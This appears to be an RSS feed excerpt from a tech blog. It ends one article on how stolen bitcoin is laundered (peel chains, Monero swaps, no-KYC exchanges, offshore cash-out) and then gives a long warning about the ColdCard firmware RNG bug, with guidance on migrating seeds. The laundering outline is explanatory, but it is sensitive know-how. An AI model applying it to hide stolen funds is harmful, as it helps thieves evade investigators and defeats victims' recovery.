<li><strong>Peel chain.</strong> Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.</li>
<li><strong>Instant swaps and bridges.</strong> Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.</li>
<li><strong>Weak-KYC or no-KYC exchanges.</strong> Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.</li>
<li><strong>Offshore fiat.</strong> The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.</li>
</ol>
<p>None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.</p>
<h3>Why this matters now<span class="hx:absolute hx:-mt-20" id="why-this-matters-now"></span>
    <a href="#why-this-matters-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.</p>
<p>But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being &ldquo;where is the money?&rdquo; and becomes &ldquo;who can we arrest?&rdquo;. Recovering the asset becomes technically infeasible for most victims.</p>
<p>In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.</p>
<p>The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.</p>
<p>The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer&rsquo;s TRNG, an offline host). And test recovery before sending meaningful value.</p>
<p>Do not trust a company, certification, influencer, or article. Not even this one. Verify.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>URGENT - If You Keep Bitcoin on a ColdCard: MOVE EVERYTHING</title><link>https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.&lt;/p&gt;
&lt;p&gt;I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;received 594.47723261 BTC across 501 outputs&lt;/a&gt;. That is public blockchain data, not a Telegram screenshot. Issue 416 of &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, published while the case was still unfolding, already estimated losses above &lt;strong&gt;1,000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.</p>
<p>I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC across 501 outputs</a>. That is public blockchain data, not a Telegram screenshot. Issue 416 of <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, published while the case was still unfolding, already estimated losses above <strong>1,000 BTC</strong>.</p>
<p>The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite&rsquo;s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.</p>
<blockquote>
  <p>Do not panic and type your 24 words into the first website that promises to &ldquo;check your ColdCard&rdquo; either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.</p>

</blockquote>
<h2>Who needs to act now<span class="hx:absolute hx:-mt-20" id="who-needs-to-act-now"></span>
    <a href="#who-needs-to-act-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The vulnerability is in <strong>seed generation</strong>. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.</p>
<blockquote>
  <p><strong>In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution.</strong> The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.</p>

</blockquote>
<p>According to <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">Coinkite&rsquo;s advisory</a> and <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block&rsquo;s independent analysis</a>, treat as compromised any seed generated under these conditions:</p>
<table>
  <thead>
      <tr>
          <th>Device</th>
          <th>Firmware that generated the seed</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 through 4.1.9, according to Block</td>
          <td>Vulnerable. Migrate the seed and retire the device as a generator.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 through 4.1.9 in Coinkite&rsquo;s advisory; Block includes 4.0.0</td>
          <td>Vulnerable. Install 4.2.0 or later before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Earlier than 5.6.0</td>
          <td>Affected. Update before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Earlier than 6.6.0X</td>
          <td>Affected. Edge is a separate release track.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Earlier than 1.5.0Q</td>
          <td>Affected.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Earlier than 6.6.0QX</td>
          <td>Affected.</td>
      </tr>
  </tbody>
</table>
<p>Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.</p>
<p>There is one important exception: anyone who added at least <strong>50 fair, independent, and private die rolls</strong> during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from <strong>this bug alone</strong>. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.</p>
<p>A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.</p>
<blockquote>
  <p><strong>Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger.</strong> The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.</p>

</blockquote>
<p>I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.</p>
<h2>The bug: <code>#ifndef</code> does not mean &ldquo;if true&rdquo;<span class="hx:absolute hx:-mt-20" id="the-bug-ifndef-does-not-mean-if-true"></span>
    <a href="#the-bug-ifndef-does-not-mean-if-true" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical postmortem</a> is an embarrassing read.</p>
<p>In March 2021, the firmware replaced <code>ckcc.rng_bytes()</code> with <code>ngu.random.bytes()</code> during its migration to libNgU and the <code>libsecp256k1</code> used by Bitcoin Core. The library choice was good. The integration was disastrous.</p>
<p>The build code defined:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But the guard in libNgU checked this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, <code>rng_get()</code> pointed to MicroPython&rsquo;s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.</p>
<p>Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between &ldquo;create new wallet&rdquo; and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.</p>
<p>On the Mk3, Coinkite&rsquo;s preliminary estimate is around <strong>40 bits of effective entropy</strong>, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately <strong>72 bits</strong>. Block&rsquo;s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.</p>
<p>Passing bad output through SHA-256 does not create entropy. If only <code>2^40</code> inputs exist, at most <code>2^40</code> possible hashes exist. They look nice and uniform and remain enumerable.</p>
<p>This sat on the most important path in the product for more than five years.</p>
<h2>How a 120-file rewrite got us here<span class="hx:absolute hx:-mt-20" id="how-a-120-file-rewrite-got-us-here"></span>
    <a href="#how-a-120-file-rewrite-got-us-here" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert published a timeline</a> worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.</p>
<p>In July 2020, Foundation announced that its first Passport would build on ColdCard&rsquo;s GPLv3 firmware. Two days later, NVK publicly complained about the &ldquo;clone&rdquo; and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.</p>
<p>On March 1 came the <code>First pass w/ libNgU</code> commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.</p>
<p>There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting <code>libsecp256k1</code>, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.</p>
<p>That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.</p>
<h2>This was a white swan, not a black swan<span class="hx:absolute hx:-mt-20" id="this-was-a-white-swan-not-a-black-swan"></span>
    <a href="#this-was-a-white-swan-not-a-black-swan" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have already seen people call this a &ldquo;black swan,&rdquo; as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.</p>
<p>The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect <code>#ifndef</code> was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.</p>
<p>A black swan is rare, surprising, and only looks obvious afterward. This was a <strong>white swan</strong>: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.</p>
<p>And Coinkite helped reduce the number of people willing to defuse it.</p>
<p>In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">responsibly disclosed a critical multisig flaw</a>. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun&rsquo;s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.</p>
<p>The <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">current responsible disclosure policy</a> still leaves reward amount, eligibility, and timing to the company&rsquo;s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in &ldquo;we are not here to make it easy for you,&rdquo; as if antagonizing people who audit your vault demonstrated personality.</p>
<p>Zach Herbert also <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documented NVK&rsquo;s public attacks</a> on Foundation after it used ColdCard&rsquo;s GPL code: &ldquo;pure clone,&rdquo; &ldquo;leeches,&rdquo; and &ldquo;affinity scamming.&rdquo; Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.</p>
<p>I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.</p>
<p>So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life&rsquo;s savings.</p>
<h2>No, &ldquo;AI broke Bitcoin&rdquo; my ass<span class="hx:absolute hx:-mt-20" id="no-ai-broke-bitcoin-my-ass"></span>
    <a href="#no-ai-broke-bitcoin-my-ass" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite wrote that, because the firmware was public, &ldquo;we have to assume&rdquo; someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.</p>
<p>NVK later published <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">an apology on Coinkite&rsquo;s behalf</a>. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users&rsquo; trust. That is the bare minimum, but it matters that he said it.</p>
<p>The problem is that he ended by trying to turn the disaster into &ldquo;a sober reality of the new AI paradigm,&rdquo; arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.</p>
<p>Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that <code>#ifndef</code>, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.</p>
<p>After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, <code>secp256k1</code>, SHA-256, BIP39, or Bitcoin.</p>
<p>The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.</p>
<p>AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.</p>
<h2>What a wallet actually stores<span class="hx:absolute hx:-mt-20" id="what-a-wallet-actually-stores"></span>
    <a href="#what-a-wallet-actually-stores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin does not sit &ldquo;inside&rdquo; a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.</p>
<p>At the most basic level, a private key is an integer chosen within the domain of the <code>secp256k1</code> curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.</p>
<p>I explained this foundation more carefully in <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Understanding Basic Cryptography Concepts - Part 1</a> and <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Understanding Basic Cryptography Concepts - Part 2</a>.</p>
<p>A modern wallet does not draw an independent key for each address. It starts with a root and uses <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.</p>
<p><a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.</p>
<h2>Twelve or 24 words is the wrong question<span class="hx:absolute hx:-mt-20" id="twelve-or-24-words-is-the-wrong-question"></span>
    <a href="#twelve-or-24-words-is-the-wrong-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.</p>
<p>But &ldquo;24 words&rdquo; does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.</p>
<p>That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called <code>rand()</code> with a timestamp.</p>
<h2>RNG, TRNG, and independent sources<span class="hx:absolute hx:-mt-20" id="rng-trng-and-independent-sources"></span>
    <a href="#rng-trng-and-independent-sources" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.</p>
<p>A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explains its process</a> as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.</p>
<p>Other projects prefer to combine sources. <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor uses entropy from the device and host</a>. <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documents five sources</a>: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.</p>
<p>The word that matters here is <strong>independence</strong>. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.</p>
<p>And &ldquo;combined correctly&rdquo; carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.</p>
<h2>Rolling dice is not that simple<span class="hx:absolute hx:-mt-20" id="rolling-dice-is-not-that-simple"></span>
    <a href="#rolling-dice-is-not-that-simple" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Each roll of an ideal D6 provides <code>log2(6)</code>, about 2.585 bits. That is where the figures of <strong>50 rolls</strong> for 128 bits and <strong>99 rolls</strong> for approximately 256 bits come from. <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">ColdCard&rsquo;s documentation shows the calculation and the SHA-256 applied to the sequence</a>. <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> uses the same thresholds: 50 for 12 words or 99 for 24.</p>
<p>That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people &ldquo;roll again&rdquo; when the die lands near an edge. Every human decision made after seeing the result introduces bias.</p>
<p>If I were generating a seed manually today, I would use <strong>precision casino-grade dice</strong> from more than one manufacturer or batch. <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox itself recommends five casino-grade dice</a> for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it &ldquo;didn&rsquo;t mix properly.&rdquo;</p>
<p>Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the &ldquo;most random&rdquo; words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.</p>
<p>Check what your device actually implements. In Ledger&rsquo;s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">the words must reconstruct exactly the same keys</a>. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.</p>
<p>With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer&rsquo;s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>BTC D00M Guy has <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">a visual Portuguese-language tutorial on BIP39, dice, and recovery testing</a>. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.</p>
<blockquote>
  <p>The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">SeedSigner&rsquo;s documentation</a> recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.</p>
<p>More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.</p>

</blockquote>
<h2>Passphrase: another wallet, not another password<span class="hx:absolute hx:-mt-20" id="passphrase-another-wallet-not-another-password"></span>
    <a href="#passphrase-another-wallet-not-another-password" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string <code>mnemonic</code> concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display &ldquo;incorrect password&rdquo;; it opens another, usually empty wallet.</p>
<p>A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.</p>
<p>But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39&rsquo;s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.</p>
<p>Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.</p>
<blockquote>
  <p>In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.</p>

</blockquote>
<h2>Sparrow, air gaps, and PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gaps-and-psbt"></span>
    <a href="#sparrow-air-gaps-and-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.</p>
<p>This is where <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, standardized in BIP174</a>, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.</p>
<p>The air-gapped single-sig flow looks like this:</p>
<ol>
<li>Sparrow creates the transaction on the online computer.</li>
<li>You export the PSBT through QR code or microSD.</li>
<li>ColdCard, SeedSigner, or another device displays the destination, amount, and fee.</li>
<li>You verify them on the signer&rsquo;s screen and sign.</li>
<li>Sparrow imports the signed PSBT, finalizes it, and broadcasts it.</li>
</ol>
<p>An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer&rsquo;s screen exists so you can compare the address, amount, and fee before pressing Confirm.</p>
<blockquote>
  <p>And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.</p>

</blockquote>
<h2>2-of-3 multisig: safer and much more bureaucratic<span class="hx:absolute hx:-mt-20" id="2-of-3-multisig-safer-and-much-more-bureaucratic"></span>
